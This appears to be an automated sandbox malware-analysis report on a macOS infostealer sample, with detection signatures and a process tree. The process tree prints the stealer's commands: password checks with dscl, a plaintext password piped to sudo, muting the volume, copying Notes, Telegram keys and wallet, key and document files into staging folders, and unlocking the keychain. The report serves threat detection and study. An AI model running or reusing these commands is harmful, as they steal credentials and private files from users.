Edit tour

macOS Analysis Report
E9CX86U4Q7

Overview

General Information

Sample name:	E9CX86U4Q7
Analysis ID:	5694956
Has dependencies:	false
MD5:	b41756914c9531c736561a53778e6865
SHA1:	47c790b16589df429ab4b23bb78986e7c2aa9c0d
SHA256:	4cacc410b45f5099e53b9d7451b60d110aad9ab5e8311db7551b5a3ad5738965
Infos:

Detection

HYBRID Stealer

Score:	100
Range:	0 - 100
Joe Sandbox may be inaccurate, incomplete, or incorrect.

Signatures

Yara detected HYBRID Stealer

Accesses directories and/or files with sensitive browser data likely for credential stealing

Contains Amnesia stealer build strings or controller arguments

Creates or writes hidden bot and C2 state files

Dumps Amnesia stealer build marker files

Dumps browser Safe Storage key files or diagnostics from a hidden cache

Dumps copied Apple Notes databases from collection staging paths

Dumps copied Safari cookie files

Dumps hidden bot and C2 state files

Dumps staged browser, credential, notes, or collection report data from temporary directories

Executes the "csrutil" command used to retrieve or modify the "System Integrity Protection" configuration

Executes the "dscl" command with authonly argument (probably to verify the login password)

Mutes the volume using AppleScript likely to hide suspicious activity from the user

Stages collected browser, password, notes, and system data in a temporary directory

Uploads stealer collection data with password and browser key headers

Uses a plaintext password for sudo or keychain access

Uses bot registration and action polling HTTP endpoints

Uses shell commands to collect Apple Notes databases

Uses shell commands to collect Telegram Desktop tdata files

Uses sudo find to copy documents, wallets, keys, and database files

Writes browser Safe Storage key files to a hidden cache

Writes files containing the user's password

Writes files with content indentifying the system (indicating system fingerprinting)

Writes macOS key chain files to disk (indicating credential exfiltration)

Accesses files related to crypto wallets (potentially stealing the sensitive information)

Contains symbols with suspicious names likely related to networking

Creates hidden files, links and/or directories

Executes AppleScripts and/or other OSA language scripts with shell command "osascript"

Executes commands using a shell command-line interpreter

Executes the "find" command together with an exec argument (might be indicative of ransomware)

Executes the "grep" command used to find patterns in files or piped streams

Executes the "mkdir" command used to create folders

Executes the "pgrep" command search for and/or send signals to processes

Executes the "rm" command used to delete files or directories

Executes the "security" command used to access the keychain

Executes the "sudo" command used to execute a command as another user

Executes the "system_profiler" command used to collect detailed system hardware and software information

HTTP GET or POST without a user agent

Lists all applications within the "Applications" directory

Many shell processes execute programs via execve syscall (might be indicative of malicious behavior)

May check the online IP address of the machine

Queries OS software version with shell command 'sw_vers'

Sample is a FAT Mach-O sample containing binaries for multiple architectures

Suricata IDS alerts with low severity for network traffic

Uses AppleScript framework/components containing AppleScript related functionalities

Uses AppleScript scripting additions containing additional functionalities for AppleScripts

Writes a staged launch agent plist masquerading as Apple ReportCrash

Classification

General Information

Joe Sandbox version:
Analysis ID:	5694956
Start date and time:	2026-08-13 15:53:50 +02:00
Joe Sandbox product:	Cloud
Overall analysis duration:	0h 12m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultmacinteractivecookbook.jbs
Analysis system description:	Mac Mini, Apple Silicon ARM64, Sequoia (Office 2021, Java 8 Update 491, Adobe Acrobat Reader 2026.001, Chrome 148, Firefox 151, Node.js 24.16.0, NPM 11.13.0)
macOS major version:	15
CPU architecture:	arm64
Analysis Mode:	default
Sample name:	E9CX86U4Q7
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mac@0/66@5/0

Warnings

Excluded IPs from analysis (whitelisted): 104.76.210.22, 104.76.210.28, 17.253.15.136, 17.253.15.140, 23.49.251.198, 23.49.251.203, 23.49.251.214, 23.49.251.218, 23.49.251.213, 23.49.251.216, 23.49.251.211, 23.49.251.219, 23.49.251.209, 17.253.97.208, 17.253.3.137, 17.253.97.204, 17.253.3.146
Excluded domains from analysis (whitelisted): stocks-data-service.v.aaplimg.com, pancake.apple.com, weather-data.apple.com.akamaized.net, pancake.g.aaplimg.com, weatherkit.apple.com, weatherkit.apple.com.akadns.net, a2047.dscapi9.akamai.net, a1091.dscapi7.akamai.net, stocks-data-service.lb-apple.com.akadns.net, stocks-data-service-row.lb-apple.com.akadns.net, stocks-data-service.apple.com.edgesuite.net, weather-edge.apple.com
Report creation exceeded maximum number of non-whitelisted processes and may have missing process information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many JMT_LOOKUP calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Runtime Messages

⊘Runtime messages are not available for Live Interaction sessions

Process Tree

System is mac-arm-sequoia

Terminal New Fork (PID: 1680, Parent: 442)

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: -bash

bash New Fork (PID: 1682, Parent: 1681)

bash New Fork (PID: 1683, Parent: 1682)

path_helper (MD5: 9c081a3321f082aa9ae2b5fc405ed56a) Arguments: /usr/libexec/path_helper -s

bash New Fork (PID: 1684, Parent: 1681)

mkdir (MD5: f0bf092e00e988f1b0bb90aa63e4eaf3) Arguments: mkdir -m 700 -p /Users/bernardo/.bash_sessions

bash New Fork (PID: 1685, Parent: 1681)

bash New Fork (PID: 1686, Parent: 1685)

touch (MD5: 1fb4516c9c1daed0ca778989c76e5254) Arguments: /usr/bin/touch /Users/bernardo/.bash_sessions/FEEE6270-74F4-4C5B-9FC3-13B11687BD63.historynew

bash New Fork (PID: 1687, Parent: 1681)

E9CX86U4Q7 (MD5: b41756914c9531c736561a53778e6865) Arguments: /Users/bernardo/Desktop/E9CX86U4Q7

E9CX86U4Q7 New Fork (PID: 1688, Parent: 1687)

syshelper_38577473 (MD5: b41756914c9531c736561a53778e6865) Arguments: /tmp/syshelper_38577473 run_controller rt

syshelper_38577473 New Fork (PID: 1690, Parent: 1688)

syshelper_38577473 New Fork (PID: 1691, Parent: 1688)

syshelper_38577473 New Fork (PID: 1692, Parent: 1688)

syshelper_38577473 New Fork (PID: 1693, Parent: 1688)

syshelper_38577473 New Fork (PID: 1694, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c pgrep -f '/tmp/syshelper_38577473' | grep -v 1688 | head -1

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c pgrep -f '/tmp/syshelper_38577473' | grep -v 1688 | head -1

bash New Fork (PID: 1698, Parent: 1694)

pgrep (MD5: f52036c1b47777c376ecce76445d7ba0) Arguments: pgrep -f /tmp/syshelper_38577473

bash New Fork (PID: 1699, Parent: 1694)

grep (MD5: 9d34346eeccb1b54d414c1402e672604) Arguments: grep -v 1688

bash New Fork (PID: 1700, Parent: 1694)

head (MD5: 7591411b1d441f133447ae1aeb0ddc48) Arguments: head -1

syshelper_38577473 New Fork (PID: 1707, Parent: 1688)

syshelper_38577473 New Fork (PID: 1708, Parent: 1688)

syshelper_38577473 New Fork (PID: 1709, Parent: 1688)

syshelper_38577473 New Fork (PID: 1710, Parent: 1688)

syshelper_38577473 New Fork (PID: 1711, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c whoami

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c whoami

whoami (MD5: 9b0f9ad93b4be52a17c91219400ad7a2) Arguments: whoami

syshelper_38577473 New Fork (PID: 1719, Parent: 1688)

syshelper_38577473 New Fork (PID: 1720, Parent: 1688)

syshelper_38577473 New Fork (PID: 1721, Parent: 1688)

syshelper_38577473 New Fork (PID: 1722, Parent: 1688)

syshelper_38577473 New Fork (PID: 1723, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c dscl /Local/Default -authonly 'bernardo' '123456'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c dscl /Local/Default -authonly 'bernardo' '123456'

dscl (MD5: a02b8b0043bac3052dfedff614cf3e67) Arguments: dscl /Local/Default -authonly bernardo 123456

syshelper_38577473 New Fork (PID: 1724, Parent: 1688)

syshelper_38577473 New Fork (PID: 1725, Parent: 1688)

syshelper_38577473 New Fork (PID: 1726, Parent: 1688)

syshelper_38577473 New Fork (PID: 1727, Parent: 1688)

sudo (MD5: 8f079d2160ed59dda0634df15b4b2bd5) Arguments: sudo -S -v

syshelper_38577473 New Fork (PID: 1728, Parent: 1688)

syshelper_38577473 New Fork (PID: 1729, Parent: 1688)

syshelper_38577473 New Fork (PID: 1730, Parent: 1688)

syshelper_38577473 New Fork (PID: 1731, Parent: 1688)

syshelper_38577473 New Fork (PID: 1732, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c sw_vers -productVersion

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c sw_vers -productVersion

sw_vers (MD5: 633d6131df14d85dcd404ec1f8dfb187) Arguments: sw_vers -productVersion

syshelper_38577473 New Fork (PID: 1738, Parent: 1688)

syshelper_38577473 New Fork (PID: 1739, Parent: 1688)

syshelper_38577473 New Fork (PID: 1740, Parent: 1688)

syshelper_38577473 New Fork (PID: 1741, Parent: 1688)

osascript (MD5: da83d05e7bbeaaf08a954029148e5212) Arguments: osascript /tmp/N9XlzLZbJYFiad6a5ve5HYatU/tempAppleScript.scpt

osascript New Fork (PID: 1742, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c osascript -e 'set volume with output muted'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c osascript -e 'set volume with output muted'

osascript (MD5: da83d05e7bbeaaf08a954029148e5212) Arguments: osascript -e set volume with output muted

osascript New Fork (PID: 1744, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/FileGrabber/'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/FileGrabber/'

mkdir (MD5: f0bf092e00e988f1b0bb90aa63e4eaf3) Arguments: mkdir -p /Users/bernardo/tempFolder-38577473/FileGrabber/

osascript New Fork (PID: 1745, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite'

bash New Fork (PID: 1746, Parent: 1745)

cat (MD5: 618a09af83bc79d22174f44d78f4fc72) Arguments: cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite

osascript New Fork (PID: 1747, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-shm'

bash New Fork (PID: 1748, Parent: 1747)

cat (MD5: 618a09af83bc79d22174f44d78f4fc72) Arguments: cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm

osascript New Fork (PID: 1749, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/Users/bernardo/tempFolder-38577473/FileGrabber/NoteStore.sqlite-wal'

bash New Fork (PID: 1750, Parent: 1749)

cat (MD5: 618a09af83bc79d22174f44d78f4fc72) Arguments: cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal

osascript New Fork (PID: 1751, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/Telegram/'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c mkdir -p '/Users/bernardo/tempFolder-38577473/Telegram/'

mkdir (MD5: f0bf092e00e988f1b0bb90aa63e4eaf3) Arguments: mkdir -p /Users/bernardo/tempFolder-38577473/Telegram/

osascript New Fork (PID: 1752, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c cp '/Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas' '/Users/bernardo/tempFolder-38577473/Telegram/'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c cp '/Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas' '/Users/bernardo/tempFolder-38577473/Telegram/'

cp (MD5: 0f2d1e28fd61d9e19009568104424624) Arguments: cp /Users/bernardo/Library/Application Support/Telegram Desktop/tdata/key_datas /Users/bernardo/tempFolder-38577473/Telegram/

osascript New Fork (PID: 1763, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c rm -f /tmp/safari_cookie_copy_error.txt /tmp/safari_cookies_via_cat

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c rm -f /tmp/safari_cookie_copy_error.txt /tmp/safari_cookies_via_cat

rm (MD5: e3a55166e49d5ce899020d5027329d6a) Arguments: rm -f /tmp/safari_cookie_copy_error.txt /tmp/safari_cookies_via_cat

osascript New Fork (PID: 1764, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c sw_vers -productVersion

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c sw_vers -productVersion

sw_vers (MD5: 633d6131df14d85dcd404ec1f8dfb187) Arguments: sw_vers -productVersion

osascript New Fork (PID: 1770, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/ { print $3 }'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/ { print $3 }'

bash New Fork (PID: 1771, Parent: 1770)

system_profiler (MD5: 2427733d6a063739fe4346562fad88bf) Arguments: system_profiler SPHardwareDataType

system_profiler New Fork (PID: 1773, Parent: 1771)

system_profiler (MD5: 2427733d6a063739fe4346562fad88bf) Arguments: /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full

bash New Fork (PID: 1772, Parent: 1770)

awk (MD5: 49690bede9c79027bd9cf0fa8c0963fc) Arguments: awk /UUID/ { print $3 }

osascript New Fork (PID: 1775, Parent: 1741)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c osascript -e 'set volume without output muted'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c osascript -e 'set volume without output muted'

osascript (MD5: da83d05e7bbeaaf08a954029148e5212) Arguments: osascript -e set volume without output muted

syshelper_38577473 New Fork (PID: 1776, Parent: 1688)

syshelper_38577473 New Fork (PID: 1777, Parent: 1688)

syshelper_38577473 New Fork (PID: 1778, Parent: 1688)

syshelper_38577473 New Fork (PID: 1779, Parent: 1688)

syshelper_38577473 New Fork (PID: 1780, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c mv '/Users/bernardo/tempFolder-38577473' '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c mv '/Users/bernardo/tempFolder-38577473' '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber'

mv (MD5: 456e83aa18c2a735cfeb3018f8690ec7) Arguments: mv /Users/bernardo/tempFolder-38577473 /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber

syshelper_38577473 New Fork (PID: 1781, Parent: 1688)

syshelper_38577473 New Fork (PID: 1782, Parent: 1688)

syshelper_38577473 New Fork (PID: 1783, Parent: 1688)

syshelper_38577473 New Fork (PID: 1784, Parent: 1688)

syshelper_38577473 New Fork (PID: 1785, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2>/dev/null

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType 2>/dev/null

bash New Fork (PID: 1786, Parent: 1785)

system_profiler (MD5: 2427733d6a063739fe4346562fad88bf) Arguments: system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType

system_profiler New Fork (PID: 1787, Parent: 1786)

system_profiler (MD5: 2427733d6a063739fe4346562fad88bf) Arguments: /usr/sbin/system_profiler -nospawn -xml SPSoftwareDataType -detailLevel full

system_profiler New Fork (PID: 1788, Parent: 1787)

csrutil (MD5: c452c86a811749946b6f5c4d8b688ecc) Arguments: /usr/bin/csrutil status

system_profiler New Fork (PID: 1789, Parent: 1786)

system_profiler (MD5: 2427733d6a063739fe4346562fad88bf) Arguments: /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full

system_profiler New Fork (PID: 1790, Parent: 1786)

system_profiler (MD5: 2427733d6a063739fe4346562fad88bf) Arguments: /usr/sbin/system_profiler -nospawn -xml SPDisplaysDataType -detailLevel full

syshelper_38577473 New Fork (PID: 1791, Parent: 1688)

syshelper_38577473 New Fork (PID: 1792, Parent: 1688)

syshelper_38577473 New Fork (PID: 1793, Parent: 1688)

syshelper_38577473 New Fork (PID: 1794, Parent: 1688)

syshelper_38577473 New Fork (PID: 1795, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c ls -1 /Applications 2>/dev/null

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c ls -1 /Applications 2>/dev/null

bash New Fork (PID: 1796, Parent: 1795)

ls (MD5: 21b236f52669ba7f15a7fa83a10fbb6a) Arguments: ls -1 /Applications

syshelper_38577473 New Fork (PID: 1797, Parent: 1688)

syshelper_38577473 New Fork (PID: 1798, Parent: 1688)

syshelper_38577473 New Fork (PID: 1799, Parent: 1688)

syshelper_38577473 New Fork (PID: 1800, Parent: 1688)

syshelper_38577473 New Fork (PID: 1801, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' 2>/dev/null

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' 2>/dev/null

bash New Fork (PID: 1802, Parent: 1801)

cat (MD5: 618a09af83bc79d22174f44d78f4fc72) Arguments: cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal

syshelper_38577473 New Fork (PID: 1803, Parent: 1688)

syshelper_38577473 New Fork (PID: 1804, Parent: 1688)

syshelper_38577473 New Fork (PID: 1805, Parent: 1688)

syshelper_38577473 New Fork (PID: 1806, Parent: 1688)

syshelper_38577473 New Fork (PID: 1807, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c echo '123456' | sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c echo '123456' | sudo -S cat '/Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal' > '/tmp/_notes_tmp_NoteStore.sqlite-wal'

bash New Fork (PID: 1808, Parent: 1807)

bash New Fork (PID: 1809, Parent: 1807)

sudo (MD5: 8f079d2160ed59dda0634df15b4b2bd5) Arguments: sudo -S cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal

sudo New Fork (PID: 1810, Parent: 1809)

cat (MD5: 618a09af83bc79d22174f44d78f4fc72) Arguments: cat /Users/bernardo/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal

syshelper_38577473 New Fork (PID: 1811, Parent: 1688)

syshelper_38577473 New Fork (PID: 1812, Parent: 1688)

syshelper_38577473 New Fork (PID: 1813, Parent: 1688)

syshelper_38577473 New Fork (PID: 1814, Parent: 1688)

syshelper_38577473 New Fork (PID: 1815, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/ { print $3 }'

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c system_profiler SPHardwareDataType 2>/dev/null | awk '/UUID/ { print $3 }'

bash New Fork (PID: 1816, Parent: 1815)

system_profiler (MD5: 2427733d6a063739fe4346562fad88bf) Arguments: system_profiler SPHardwareDataType

system_profiler New Fork (PID: 1818, Parent: 1816)

system_profiler (MD5: 2427733d6a063739fe4346562fad88bf) Arguments: /usr/sbin/system_profiler -nospawn -xml SPHardwareDataType -detailLevel full

bash New Fork (PID: 1817, Parent: 1815)

awk (MD5: 49690bede9c79027bd9cf0fa8c0963fc) Arguments: awk /UUID/ { print $3 }

syshelper_38577473 New Fork (PID: 1819, Parent: 1688)

syshelper_38577473 New Fork (PID: 1820, Parent: 1688)

syshelper_38577473 New Fork (PID: 1821, Parent: 1688)

syshelper_38577473 New Fork (PID: 1822, Parent: 1688)

syshelper_38577473 New Fork (PID: 1823, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c echo '123456' | sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '*.txt' -o -iname '*.pdf' -o -iname '*.docx' -o -iname '*.rtf' -o -iname '*.doc' -o -iname '*.wallet' -o -iname '*.keys' -o -iname '*.key' -o -iname '*.jpg' -o -iname '*.png' -o -iname '*.kdbx' -o -iname '*.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c echo '123456' | sudo -S find '/Users/bernardo/Desktop' -maxdepth 4 -type f -size -5M $ -iname '*.txt' -o -iname '*.pdf' -o -iname '*.docx' -o -iname '*.rtf' -o -iname '*.doc' -o -iname '*.wallet' -o -iname '*.keys' -o -iname '*.key' -o -iname '*.jpg' -o -iname '*.png' -o -iname '*.kdbx' -o -iname '*.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null

bash New Fork (PID: 1824, Parent: 1823)

bash New Fork (PID: 1825, Parent: 1823)

sudo (MD5: 8f079d2160ed59dda0634df15b4b2bd5) Arguments: sudo -S find /Users/bernardo/Desktop -maxdepth 4 -type f -size -5M ( -iname *.txt -o -iname *.pdf -o -iname *.docx -o -iname *.rtf -o -iname *.doc -o -iname *.wallet -o -iname *.keys -o -iname *.key -o -iname *.jpg -o -iname *.png -o -iname *.kdbx -o -iname *.csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber

sudo New Fork (PID: 1826, Parent: 1825)

find (MD5: c49e29c6a3b91cbb4e61922b96952478) Arguments: find /Users/bernardo/Desktop -maxdepth 4 -type f -size -5M ( -iname *.txt -o -iname *.pdf -o -iname *.docx -o -iname *.rtf -o -iname *.doc -o -iname *.wallet -o -iname *.keys -o -iname *.key -o -iname *.jpg -o -iname *.png -o -iname *.kdbx -o -iname *.csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber

syshelper_38577473 New Fork (PID: 1827, Parent: 1688)

syshelper_38577473 New Fork (PID: 1828, Parent: 1688)

syshelper_38577473 New Fork (PID: 1829, Parent: 1688)

syshelper_38577473 New Fork (PID: 1830, Parent: 1688)

syshelper_38577473 New Fork (PID: 1831, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c echo '123456' | sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '*.txt' -o -iname '*.pdf' -o -iname '*.docx' -o -iname '*.rtf' -o -iname '*.doc' -o -iname '*.wallet' -o -iname '*.keys' -o -iname '*.key' -o -iname '*.jpg' -o -iname '*.png' -o -iname '*.kdbx' -o -iname '*.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c echo '123456' | sudo -S find '/Users/bernardo/Documents' -maxdepth 4 -type f -size -5M $ -iname '*.txt' -o -iname '*.pdf' -o -iname '*.docx' -o -iname '*.rtf' -o -iname '*.doc' -o -iname '*.wallet' -o -iname '*.keys' -o -iname '*.key' -o -iname '*.jpg' -o -iname '*.png' -o -iname '*.kdbx' -o -iname '*.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null

bash New Fork (PID: 1833, Parent: 1831)

bash New Fork (PID: 1834, Parent: 1831)

sudo (MD5: 8f079d2160ed59dda0634df15b4b2bd5) Arguments: sudo -S find /Users/bernardo/Documents -maxdepth 4 -type f -size -5M ( -iname *.txt -o -iname *.pdf -o -iname *.docx -o -iname *.rtf -o -iname *.doc -o -iname *.wallet -o -iname *.keys -o -iname *.key -o -iname *.jpg -o -iname *.png -o -iname *.kdbx -o -iname *.csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber

sudo New Fork (PID: 1835, Parent: 1834)

find (MD5: c49e29c6a3b91cbb4e61922b96952478) Arguments: find /Users/bernardo/Documents -maxdepth 4 -type f -size -5M ( -iname *.txt -o -iname *.pdf -o -iname *.docx -o -iname *.rtf -o -iname *.doc -o -iname *.wallet -o -iname *.keys -o -iname *.key -o -iname *.jpg -o -iname *.png -o -iname *.kdbx -o -iname *.csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber

syshelper_38577473 New Fork (PID: 1836, Parent: 1688)

syshelper_38577473 New Fork (PID: 1837, Parent: 1688)

syshelper_38577473 New Fork (PID: 1838, Parent: 1688)

syshelper_38577473 New Fork (PID: 1839, Parent: 1688)

syshelper_38577473 New Fork (PID: 1840, Parent: 1688)

sh (MD5: 6b2366688c839e89d50699d548837ee6) Arguments: sh -c echo '123456' | sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '*.txt' -o -iname '*.pdf' -o -iname '*.docx' -o -iname '*.rtf' -o -iname '*.doc' -o -iname '*.wallet' -o -iname '*.keys' -o -iname '*.key' -o -iname '*.jpg' -o -iname '*.png' -o -iname '*.kdbx' -o -iname '*.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null

bash (MD5: ee21b34dc40b403590571a8a5b0b2fb4) Arguments: sh -c echo '123456' | sudo -S find '/Users/bernardo/Downloads' -maxdepth 4 -type f -size -5M $ -iname '*.txt' -o -iname '*.pdf' -o -iname '*.docx' -o -iname '*.rtf' -o -iname '*.doc' -o -iname '*.wallet' -o -iname '*.keys' -o -iname '*.key' -o -iname '*.jpg' -o -iname '*.png' -o -iname '*.kdbx' -o -iname '*.csv' -o -iname '*.json' $ -exec cp -n {} '/tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber' \ 2>/dev/null

bash New Fork (PID: 1841, Parent: 1840)

bash New Fork (PID: 1842, Parent: 1840)

sudo (MD5: 8f079d2160ed59dda0634df15b4b2bd5) Arguments: sudo -S find /Users/bernardo/Downloads -maxdepth 4 -type f -size -5M ( -iname *.txt -o -iname *.pdf -o -iname *.docx -o -iname *.rtf -o -iname *.doc -o -iname *.wallet -o -iname *.keys -o -iname *.key -o -iname *.jpg -o -iname *.png -o -iname *.kdbx -o -iname *.csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber

sudo New Fork (PID: 1843, Parent: 1842)

find (MD5: c49e29c6a3b91cbb4e61922b96952478) Arguments: find /Users/bernardo/Downloads -maxdepth 4 -type f -size -5M ( -iname *.txt -o -iname *.pdf -o -iname *.docx -o -iname *.rtf -o -iname *.doc -o -iname *.wallet -o -iname *.keys -o -iname *.key -o -iname *.jpg -o -iname *.png -o -iname *.kdbx -o -iname *.csv -o -iname *.json ) -exec cp -n {} /tmp/N9XlzLZbJYFiad6a5ve5HYatU/FileGrabber/FileGrabber

syshelper_38577473 New Fork (PID: 1844, Parent: 1688)

syshelper_38577473 New Fork (PID: 1845, Parent: 1688)

syshelper_38577473 New Fork (PID: 1846, Parent: 1688)

syshelper_38577473 New Fork (PID: 1847, Parent: 1688)

security (MD5: fcdfaba9badcfa289bc0afa0ed25d1c7) Arguments: security unlock-keychain -p 123456 /Users/bernardo/Library/Keychains/login.keychain-db

syshelper_38577473 New Fork (PID: 1848, Parent: 1688)

syshelper_38577473 New Fork (PID: 1849, Parent: 1688)

syshelper_38577473 New Fork (PID: 1850, Parent: 1688)

